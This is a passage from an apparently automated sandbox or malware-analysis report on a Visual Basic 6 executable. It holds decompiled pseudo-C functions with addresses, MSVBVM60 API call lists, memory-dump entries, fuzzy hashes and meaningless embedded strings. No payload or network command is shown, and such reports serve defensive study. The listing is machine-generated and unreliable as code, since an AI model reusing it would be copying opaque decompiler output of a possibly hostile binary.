                    						_v160 = _v160 & 0x00000000;
                    					} else {
                    						_push(0x48);
                    						_push(0x4113bc);
                    						_push(_v120);
                    						_push(_v124);
                    						L00401690();
                    						_v160 = _t99;
                    					}
                    					if( *0x41931c != 0) {
                    						_v164 = 0x41931c;
                    					} else {
                    						_push(0x41931c);
                    						_push(0x41137c);
                    						L00401696();
                    						_v164 = 0x41931c;
                    					}
                    					_v128 =  *_v164;
                    					_t105 =  *((intOrPtr*)( *_v128 + 0x4c))(_v128,  &_v52);
                    					asm("fclex");
                    					_v132 = _t105;
                    					if(_v132 >= 0) {
                    						_v168 = _v168 & 0x00000000;
                    					} else {
                    						_push(0x4c);
                    						_push(0x41136c);
                    						_push(_v128);
                    						_push(_v132);
                    						L00401690();
                    						_v168 = _t105;
                    					}
                    					_v136 = _v52;
                    					_t110 =  *((intOrPtr*)( *_v136 + 0x24))(_v136, L"mesenterical", _v40,  &_v44);
                    					asm("fclex");
                    					_v140 = _t110;
                    					if(_v140 >= 0) {
                    						_v172 = _v172 & 0x00000000;
                    					} else {
                    						_push(0x24);
                    						_push(0x411574);
                    						_push(_v136);
                    						_push(_v140);
                    						L00401690();
                    						_v172 = _t110;
                    					}
                    					_v152 = _v44;
                    					_v44 = _v44 & 0x00000000;
                    					L00401648();
                    					L0040165A();
                    					_push( &_v52);
                    					_t91 =  &_v48;
                    					_push(_t91);
                    					_push(2);
                    					L00401654();
                    				}
                    				_push(0x4159bb);
                    				L0040165A();
                    				L0040165A();
                    				L0040165A();
                    				return _t91;
                    			}







































                    0x0041572a
                    0x00415739
                    0x00415745
                    0x0041574d
                    0x00415750
                    0x00415757
                    0x00415766
                    0x0041576f
                    0x0041577c
                    0x00415784
                    0x00415787
                    0x00415791
                    0x00415795
                    0x00415796
                    0x0041579b
                    0x004157a2
                    0x004157ac
                    0x004157ad
                    0x004157b0
                    0x004157b1
                    0x004157b6
                    0x004157bd
                    0x004157c2
                    0x004157c8
                    0x004157d5
                    0x004157f2
                    0x004157d7
                    0x004157d7
                    0x004157dc
                    0x004157e1
                    0x004157e6
                    0x004157e6
                    0x00415816
                    0x0041581a
                    0x0041581f
                    0x0041582e
                    0x00415831
                    0x00415833
                    0x0041583a
                    0x00415856
                    0x0041583c
                    0x0041583c
                    0x0041583e
                    0x00415843
                    0x00415846
                    0x00415849
                    0x0041584e
                    0x0041584e
                    0x00415864
                    0x00415881
                    0x00415866
                    0x00415866
                    0x0041586b
                    0x00415870
                    0x00415875
                    0x00415875
                    0x00415893
                    0x004158a2
                    0x004158a5
                    0x004158a7
                    0x004158ae
                    0x004158ca
                    0x004158b0
                    0x004158b0
                    0x004158b2
                    0x004158b7
                    0x004158ba
                    0x004158bd
                    0x004158c2
                    0x004158c2
                    0x004158d4
                    0x004158f4
                    0x004158f7
                    0x004158f9
                    0x00415906
                    0x00415928
                    0x00415908
                    0x00415908
                    0x0041590a
                    0x0041590f
                    0x00415915
                    0x0041591b
                    0x00415920
                    0x00415920
                    0x00415932
                    0x00415938
                    0x00415945
                    0x0041594d
                    0x00415955
                    0x00415956
                    0x00415959
                    0x0041595a
                    0x0041595c
                    0x00415961
                    0x00415964
                    0x004159a5
                    0x004159ad
                    0x004159b5
                    0x004159ba

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00415745
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041576F
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 0041577C
                    • #524.MSVBVM60(?,00004008), ref: 00415796
                    • __vbaVarTstNe.MSVBVM60(00008008,?,?,?,?,00004008), ref: 004157B1
                    • __vbaFreeVar.MSVBVM60(00008008,?,?,?,?,00004008), ref: 004157BD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,00008008,?,?,?,?,00004008), ref: 004157E1
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,00008008,?,?,?,?,00004008), ref: 0041581A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000048,?,?,?,?,?,?,?,?,00008008,?), ref: 00415849
                    • __vbaNew2.MSVBVM60(0041137C,0041931C,?,?,?,?,?,?,?,?,00008008,?,?,?,?,00004008), ref: 00415870
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041136C,0000004C,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 004158BD
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411574,00000024,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0041591B
                    • __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 00415945
                    • __vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,00008008,?), ref: 0041594D
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00008008), ref: 0041595C
                    • __vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159A5
                    • __vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159AD
                    • __vbaFreeStr.MSVBVM60(004159BB,00008008,?,?,?,?,00004008), ref: 004159B5
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckHresult$CopyNew2$#524ChkstkListMove
                    • String ID: mesenterical
                    • API String ID: 3204310403-3574708753
                    • Opcode ID: ea5fd8388197277760526a6ec40e5329130f3afa72c6e30ba8b4877c2dc0055c
                    • Instruction ID: b680b5ee42dcc83df3044c175224da1766f0dfc72c5a08e86853580506633196
                    • Opcode Fuzzy Hash: ea5fd8388197277760526a6ec40e5329130f3afa72c6e30ba8b4877c2dc0055c
                    • Instruction Fuzzy Hash: C771F771900218DFCB10EFA5CC85BDDBBB8BF08304F1045AAE509B72A1DB795A85CF59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00415E5E(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				char _v28;
                    				intOrPtr _v36;
                    				intOrPtr _v44;
                    				intOrPtr* _v48;
                    				signed int _v52;
                    				intOrPtr* _v64;
                    				signed int _v68;
                    				intOrPtr* _v72;
                    				signed int _v76;
                    				intOrPtr* _v80;
                    				signed int _v84;
                    				char* _t78;
                    				signed int _t82;
                    				char* _t86;
                    				signed int _t90;
                    				char* _t94;
                    				signed int _t98;
                    				void* _t120;
                    				void* _t122;
                    				intOrPtr _t123;
                    
                    				_t123 = _t122 - 0xc;
                    				 *[fs:0x0] = _t123;
                    				L004014B0();
                    				_v16 = _t123;
                    				_v12 = 0x401300;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x3c,  *[fs:0x0], 0x4014b6, _t120);
                    				if( *0x419010 != 0) {
                    					_v64 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v64 = 0x419010;
                    				}
                    				_t78 =  &_v28;
                    				L0040169C();
                    				_v48 = _t78;
                    				_v36 = 0x80020004;
                    				_v44 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t82 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"Erst7", 0x10, _t78,  *((intOrPtr*)( *((intOrPtr*)( *_v64)) + 0x370))( *_v64));
                    				asm("fclex");
                    				_v52 = _t82;
                    				if(_v52 >= 0) {
                    					_v68 = _v68 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x411498);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v68 = _t82;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v72 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v72 = 0x419010;
                    				}
                    				_t86 =  &_v28;
                    				L0040169C();
                    				_v48 = _t86;
                    				_v36 = 1;
                    				_v44 = 2;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t90 =  *((intOrPtr*)( *_v48 + 0x1b8))(_v48, 0x10, _t86,  *((intOrPtr*)( *((intOrPtr*)( *_v72)) + 0x36c))( *_v72));
                    				asm("fclex");
                    				_v52 = _t90;
                    				if(_v52 >= 0) {
                    					_v76 = _v76 & 0x00000000;
                    				} else {
                    					_push(0x1b8);
                    					_push(0x4113cc);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v76 = _t90;
                    				}
                    				L0040168A();
                    				if( *0x419010 != 0) {
                    					_v80 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v80 = 0x419010;
                    				}
                    				_t94 =  &_v28;
                    				L0040169C();
                    				_v48 = _t94;
                    				_v36 = 0x80020004;
                    				_v44 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t98 =  *((intOrPtr*)( *_v48 + 0x1ec))(_v48, L"panels", 0x10, _t94,  *((intOrPtr*)( *((intOrPtr*)( *_v80)) + 0x32c))( *_v80));
                    				asm("fclex");
                    				_v52 = _t98;
                    				if(_v52 >= 0) {
                    					_v84 = _v84 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v48);
                    					_push(_v52);
                    					L00401690();
                    					_v84 = _t98;
                    				}
                    				L0040168A();
                    				_push(0x4160ab);
                    				return _t98;
                    			}


























                    0x00415e61
                    0x00415e70
                    0x00415e7a
                    0x00415e82
                    0x00415e85
                    0x00415e8c
                    0x00415e9b
                    0x00415ea5
                    0x00415ebf
                    0x00415ea7
                    0x00415ea7
                    0x00415eac
                    0x00415eb1
                    0x00415eb6
                    0x00415eb6
                    0x00415eda
                    0x00415ede
                    0x00415ee3
                    0x00415ee6
                    0x00415eed
                    0x00415ef7
                    0x00415f01
                    0x00415f02
                    0x00415f03
                    0x00415f04
                    0x00415f12
                    0x00415f18
                    0x00415f1a
                    0x00415f21
                    0x00415f3d
                    0x00415f23
                    0x00415f23
                    0x00415f28
                    0x00415f2d
                    0x00415f30
                    0x00415f33
                    0x00415f38
                    0x00415f38
                    0x00415f44
                    0x00415f50
                    0x00415f6a
                    0x00415f52
                    0x00415f52
                    0x00415f57
                    0x00415f5c
                    0x00415f61
                    0x00415f61
                    0x00415f85
                    0x00415f89
                    0x00415f8e
                    0x00415f91
                    0x00415f98
                    0x00415fa2
                    0x00415fac
                    0x00415fad
                    0x00415fae
                    0x00415faf
                    0x00415fb8
                    0x00415fbe
                    0x00415fc0
                    0x00415fc7
                    0x00415fe3
                    0x00415fc9
                    0x00415fc9
                    0x00415fce
                    0x00415fd3
                    0x00415fd6
                    0x00415fd9
                    0x00415fde
                    0x00415fde
                    0x00415fea
                    0x00415ff6
                    0x00416010
                    0x00415ff8
                    0x00415ff8
                    0x00415ffd
                    0x00416002
                    0x00416007
                    0x00416007
                    0x0041602b
                    0x0041602f
                    0x00416034
                    0x00416037
                    0x0041603e
                    0x00416048
                    0x00416052
                    0x00416053
                    0x00416054
                    0x00416055
                    0x00416063
                    0x00416069
                    0x0041606b
                    0x00416072
                    0x0041608e
                    0x00416074
                    0x00416074
                    0x00416079
                    0x0041607e
                    0x00416081
                    0x00416084
                    0x00416089
                    0x00416089
                    0x00416095
                    0x0041609a
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00415E7A
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415EB1
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415EDE
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00415EF7
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411498,000001EC), ref: 00415F33
                    • __vbaFreeObj.MSVBVM60 ref: 00415F44
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00415F5C
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415F89
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00415FA2
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113CC,000001B8), ref: 00415FD9
                    • __vbaFreeObj.MSVBVM60 ref: 00415FEA
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00416002
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 0041602F
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00416048
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 00416084
                    • __vbaFreeObj.MSVBVM60 ref: 00416095
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Chkstk$CheckFreeHresultNew2
                    • String ID: Erst7$panels
                    • API String ID: 3189907775-1262606590
                    • Opcode ID: c4c493aea56b5fd5db754ca832f5aefde78aafbacf474ff66a8b4d7067236f12
                    • Instruction ID: 4c8889f918540b12b2c18ed51b82328dc84423be7a84dd25505bfcd15f13fa6a
                    • Opcode Fuzzy Hash: c4c493aea56b5fd5db754ca832f5aefde78aafbacf474ff66a8b4d7067236f12
                    • Instruction Fuzzy Hash: DA61D570D00608EFCB10DFA4C855BDDBBB9BF09704F14482AF511BB2A1C7BA9885DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 58%
                    			E00414105(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v24;
                    				intOrPtr _v28;
                    				signed int _v32;
                    				char _v36;
                    				intOrPtr _v44;
                    				char _v52;
                    				intOrPtr _v60;
                    				intOrPtr _v68;
                    				void* _v72;
                    				signed int _v76;
                    				signed int _v84;
                    				intOrPtr* _v88;
                    				signed int _v92;
                    				intOrPtr* _v96;
                    				signed int _v100;
                    				signed int _t59;
                    				char* _t67;
                    				signed int _t71;
                    				char* _t75;
                    				signed int _t79;
                    				intOrPtr _t103;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t103;
                    				_t59 = 0x50;
                    				L004014B0();
                    				_v12 = _t103;
                    				_v8 = 0x401190;
                    				L00401642();
                    				L00401648();
                    				_push(_t59);
                    				_push(L"Irrationales");
                    				L0040164E();
                    				asm("sbb eax, eax");
                    				_v72 =  ~( ~_t59 + 1);
                    				L0040165A();
                    				if(_v72 != 0) {
                    					if( *0x419010 != 0) {
                    						_v88 = 0x419010;
                    					} else {
                    						_push(0x419010);
                    						_push(0x41192c);
                    						L00401696();
                    						_v88 = 0x419010;
                    					}
                    					_t75 =  &_v36;
                    					L0040169C();
                    					_v72 = _t75;
                    					_t79 =  *((intOrPtr*)( *_v72 + 0x50))(_v72,  &_v32, _t75,  *((intOrPtr*)( *((intOrPtr*)( *_v88)) + 0x374))( *_v88));
                    					asm("fclex");
                    					_v76 = _t79;
                    					if(_v76 >= 0) {
                    						_v92 = _v92 & 0x00000000;
                    					} else {
                    						_push(0x50);
                    						_push(0x4113ac);
                    						_push(_v72);
                    						_push(_v76);
                    						L00401690();
                    						_v92 = _t79;
                    					}
                    					_v84 = _v32;
                    					_v32 = _v32 & 0x00000000;
                    					_v44 = _v84;
                    					_v52 = 8;
                    					_push( &_v52);
                    					L0040163C();
                    					L0040168A();
                    					L00401636();
                    				}
                    				if( *0x419010 != 0) {
                    					_v96 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v96 = 0x419010;
                    				}
                    				_t67 =  &_v36;
                    				L0040169C();
                    				_v72 = _t67;
                    				_v60 = 1;
                    				_v68 = 2;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t71 =  *((intOrPtr*)( *_v72 + 0x190))(_v72, 0x10, _t67,  *((intOrPtr*)( *((intOrPtr*)( *_v96)) + 0x308))( *_v96));
                    				asm("fclex");
                    				_v76 = _t71;
                    				if(_v76 >= 0) {
                    					_v100 = _v100 & 0x00000000;
                    				} else {
                    					_push(0x190);
                    					_push(0x4113bc);
                    					_push(_v72);
                    					_push(_v76);
                    					L00401690();
                    					_v100 = _t71;
                    				}
                    				L0040168A();
                    				_v28 = 0xc2062000;
                    				_v24 = 0x5b07;
                    				_push(0x4142ed);
                    				return _t71;
                    			}


























                    0x0041410a
                    0x00414115
                    0x00414116
                    0x0041411f
                    0x00414120
                    0x00414128
                    0x0041412b
                    0x00414132
                    0x0041413c
                    0x00414141
                    0x00414142
                    0x00414147
                    0x0041414e
                    0x00414153
                    0x0041415a
                    0x00414165
                    0x00414172
                    0x0041418c
                    0x00414174
                    0x00414174
                    0x00414179
                    0x0041417e
                    0x00414183
                    0x00414183
                    0x004141a7
                    0x004141ab
                    0x004141b0
                    0x004141bf
                    0x004141c2
                    0x004141c4
                    0x004141cb
                    0x004141e4
                    0x004141cd
                    0x004141cd
                    0x004141cf
                    0x004141d4
                    0x004141d7
                    0x004141da
                    0x004141df
                    0x004141df
                    0x004141eb
                    0x004141ee
                    0x004141f5
                    0x004141f8
                    0x00414202
                    0x00414203
                    0x0041420b
                    0x00414213
                    0x00414213
                    0x0041421f
                    0x00414239
                    0x00414221
                    0x00414221
                    0x00414226
                    0x0041422b
                    0x00414230
                    0x00414230
                    0x00414254
                    0x00414258
                    0x0041425d
                    0x00414260
                    0x00414267
                    0x00414271
                    0x0041427b
                    0x0041427c
                    0x0041427d
                    0x0041427e
                    0x00414287
                    0x0041428d
                    0x0041428f
                    0x00414296
                    0x004142b2
                    0x00414298
                    0x00414298
                    0x0041429d
                    0x004142a2
                    0x004142a5
                    0x004142a8
                    0x004142ad
                    0x004142ad
                    0x004142b9
                    0x004142be
                    0x004142c5
                    0x004142cc
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00414120
                    • #669.MSVBVM60(?,?,?,?,004014B6), ref: 00414132
                    • __vbaStrMove.MSVBVM60(?,?,?,?,004014B6), ref: 0041413C
                    • __vbaStrCmp.MSVBVM60(Irrationales,00000000,?,?,?,?,004014B6), ref: 00414147
                    • __vbaFreeStr.MSVBVM60(Irrationales,00000000,?,?,?,?,004014B6), ref: 0041415A
                    • __vbaNew2.MSVBVM60(0041192C,00419010,Irrationales,00000000,?,?,?,?,004014B6), ref: 0041417E
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 004141AB
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,00000050), ref: 004141DA
                    • #529.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 00414203
                    • __vbaFreeObj.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 0041420B
                    • __vbaFreeVar.MSVBVM60(00000008,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 00414213
                    • __vbaNew2.MSVBVM60(0041192C,00419010,Irrationales,00000000,?,?,?,?,004014B6), ref: 0041422B
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00414258
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 00414271
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000190), ref: 004142A8
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Irrationales,00000000), ref: 004142B9
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkHresultNew2$#529#669Move
                    • String ID: Irrationales
                    • API String ID: 314221948-867213255
                    • Opcode ID: 6f94b113b596765eaa02f4a5f28efc74d39e09a7de2f92151ee0094e742290ab
                    • Instruction ID: ad50dd2ffc986986b8b0aafa962a04acf74fae48571a06269f733cfe9c742e9f
                    • Opcode Fuzzy Hash: 6f94b113b596765eaa02f4a5f28efc74d39e09a7de2f92151ee0094e742290ab
                    • Instruction Fuzzy Hash: 0651EC75D002089FDB10DFD1C859BEEBBB8BF08704F24452AF501BB2A1D7796986DB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 46%
                    			E00417385(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a8) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				void* _v24;
                    				char _v28;
                    				char _v32;
                    				char _v36;
                    				intOrPtr _v44;
                    				intOrPtr _v52;
                    				intOrPtr _v60;
                    				intOrPtr _v68;
                    				intOrPtr _v76;
                    				intOrPtr _v84;
                    				void* _v88;
                    				signed int _v92;
                    				intOrPtr* _v96;
                    				signed int _v100;
                    				intOrPtr* _v108;
                    				intOrPtr* _v112;
                    				signed int _v116;
                    				signed int _v120;
                    				intOrPtr* _v124;
                    				signed int _v128;
                    				char* _t80;
                    				char* _t84;
                    				signed int _t88;
                    				signed int _t92;
                    				char* _t98;
                    				signed int _t104;
                    				intOrPtr _t117;
                    				intOrPtr _t133;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t133;
                    				_push(0x6c);
                    				L004014B0();
                    				_v12 = _t133;
                    				_v8 = 0x4013a0;
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v108 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v108 = 0x419010;
                    				}
                    				_push( *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x32c))( *_v108));
                    				_t80 =  &_v36;
                    				_push(_t80);
                    				L0040169C();
                    				_v96 = _t80;
                    				_v44 = 0x80020004;
                    				_v52 = 0xa;
                    				if( *0x419010 != 0) {
                    					_v112 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v112 = 0x419010;
                    				}
                    				_t84 =  &_v32;
                    				L0040169C();
                    				_v88 = _t84;
                    				_t88 =  *((intOrPtr*)( *_v88 + 0x50))(_v88,  &_v28, _t84,  *((intOrPtr*)( *((intOrPtr*)( *_v112)) + 0x324))( *_v112));
                    				asm("fclex");
                    				_v92 = _t88;
                    				if(_v92 >= 0) {
                    					_v116 = _v116 & 0x00000000;
                    				} else {
                    					_push(0x50);
                    					_push(0x411410);
                    					_push(_v88);
                    					_push(_v92);
                    					L00401690();
                    					_v116 = _t88;
                    				}
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_t92 =  *((intOrPtr*)( *_v96 + 0x1ec))(_v96, _v28, 0x10);
                    				asm("fclex");
                    				_v100 = _t92;
                    				if(_v100 >= 0) {
                    					_v120 = _v120 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x4113f0);
                    					_push(_v96);
                    					_push(_v100);
                    					L00401690();
                    					_v120 = _t92;
                    				}
                    				L0040165A();
                    				_push( &_v36);
                    				_push( &_v32);
                    				_push(2);
                    				L00401654();
                    				if( *0x419010 != 0) {
                    					_v124 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v124 = 0x419010;
                    				}
                    				_t117 =  *((intOrPtr*)( *_v124));
                    				_t98 =  &_v32;
                    				L0040169C();
                    				_v88 = _t98;
                    				_v76 = 0x80020004;
                    				_v84 = 0xa;
                    				_v60 = 0x80020004;
                    				_v68 = 0xa;
                    				_v44 = 0x80020004;
                    				_v52 = 0xa;
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				L004014B0();
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				asm("movsd");
                    				_v88 =  *0x401398;
                    				_t104 =  *((intOrPtr*)( *_v88 + 0x1cc))(_v88, _t117, 0x10, 0x10, 0x10, _t98,  *((intOrPtr*)(_t117 + 0x374))( *_v124));
                    				asm("fclex");
                    				_v92 = _t104;
                    				if(_v92 >= 0) {
                    					_v128 = _v128 & 0x00000000;
                    				} else {
                    					_push(0x1cc);
                    					_push(0x4113ac);
                    					_push(_v88);
                    					_push(_v92);
                    					L00401690();
                    					_v128 = _t104;
                    				}
                    				L0040168A();
                    				asm("wait");
                    				_push(0x41760f);
                    				L0040165A();
                    				return _t104;
                    			}

































                    0x0041738a
                    0x00417395
                    0x00417396
                    0x0041739d
                    0x004173a0
                    0x004173a8
                    0x004173ab
                    0x004173b8
                    0x004173c4
                    0x004173de
                    0x004173c6
                    0x004173c6
                    0x004173cb
                    0x004173d0
                    0x004173d5
                    0x004173d5
                    0x004173f8
                    0x004173f9
                    0x004173fc
                    0x004173fd
                    0x00417402
                    0x00417405
                    0x0041740c
                    0x0041741a
                    0x00417434
                    0x0041741c
                    0x0041741c
                    0x00417421
                    0x00417426
                    0x0041742b
                    0x0041742b
                    0x0041744f
                    0x00417453
                    0x00417458
                    0x00417467
                    0x0041746a
                    0x0041746c
                    0x00417473
                    0x0041748c
                    0x00417475
                    0x00417475
                    0x00417477
                    0x0041747c
                    0x0041747f
                    0x00417482
                    0x00417487
                    0x00417487
                    0x00417493
                    0x0041749d
                    0x0041749e
                    0x0041749f
                    0x004174a0
                    0x004174ac
                    0x004174b2
                    0x004174b4
                    0x004174bb
                    0x004174d7
                    0x004174bd
                    0x004174bd
                    0x004174c2
                    0x004174c7
                    0x004174ca
                    0x004174cd
                    0x004174d2
                    0x004174d2
                    0x004174de
                    0x004174e6
                    0x004174ea
                    0x004174eb
                    0x004174ed
                    0x004174fc
                    0x00417516
                    0x004174fe
                    0x004174fe
                    0x00417503
                    0x00417508
                    0x0041750d
                    0x0041750d
                    0x00417527
                    0x00417531
                    0x00417535
                    0x0041753a
                    0x0041753d
                    0x00417544
                    0x0041754b
                    0x00417552
                    0x00417559
                    0x00417560
                    0x0041756a
                    0x00417574
                    0x00417575
                    0x00417576
                    0x00417577
                    0x0041757b
                    0x00417585
                    0x00417586
                    0x00417587
                    0x00417588
                    0x0041758c
                    0x00417596
                    0x00417597
                    0x00417598
                    0x00417599
                    0x004175a1
                    0x004175ac
                    0x004175b2
                    0x004175b4
                    0x004175bb
                    0x004175d7
                    0x004175bd
                    0x004175bd
                    0x004175c2
                    0x004175c7
                    0x004175ca
                    0x004175cd
                    0x004175d2
                    0x004175d2
                    0x004175de
                    0x004175e3
                    0x004175e4
                    0x00417609
                    0x0041760e

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004173A0
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 004173B8
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 004173D0
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 004173FD
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,00000000), ref: 00417426
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417453
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411410,00000050), ref: 00417482
                    • __vbaChkstk.MSVBVM60 ref: 00417493
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113F0,000001EC), ref: 004174CD
                    • __vbaFreeStr.MSVBVM60 ref: 004174DE
                    • __vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 004174ED
                    • __vbaNew2.MSVBVM60(0041192C,00419010), ref: 00417508
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00417535
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 0041756A
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 0041757B
                    • __vbaChkstk.MSVBVM60(?,00000000), ref: 0041758C
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001CC,?,?,00000000), ref: 004175CD
                    • __vbaFreeObj.MSVBVM60(?,?,00000000), ref: 004175DE
                    • __vbaFreeStr.MSVBVM60(0041760F,?,?,00000000), ref: 00417609
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Chkstk$Free$CheckHresultNew2$CopyList
                    • String ID:
                    • API String ID: 3169856408-0
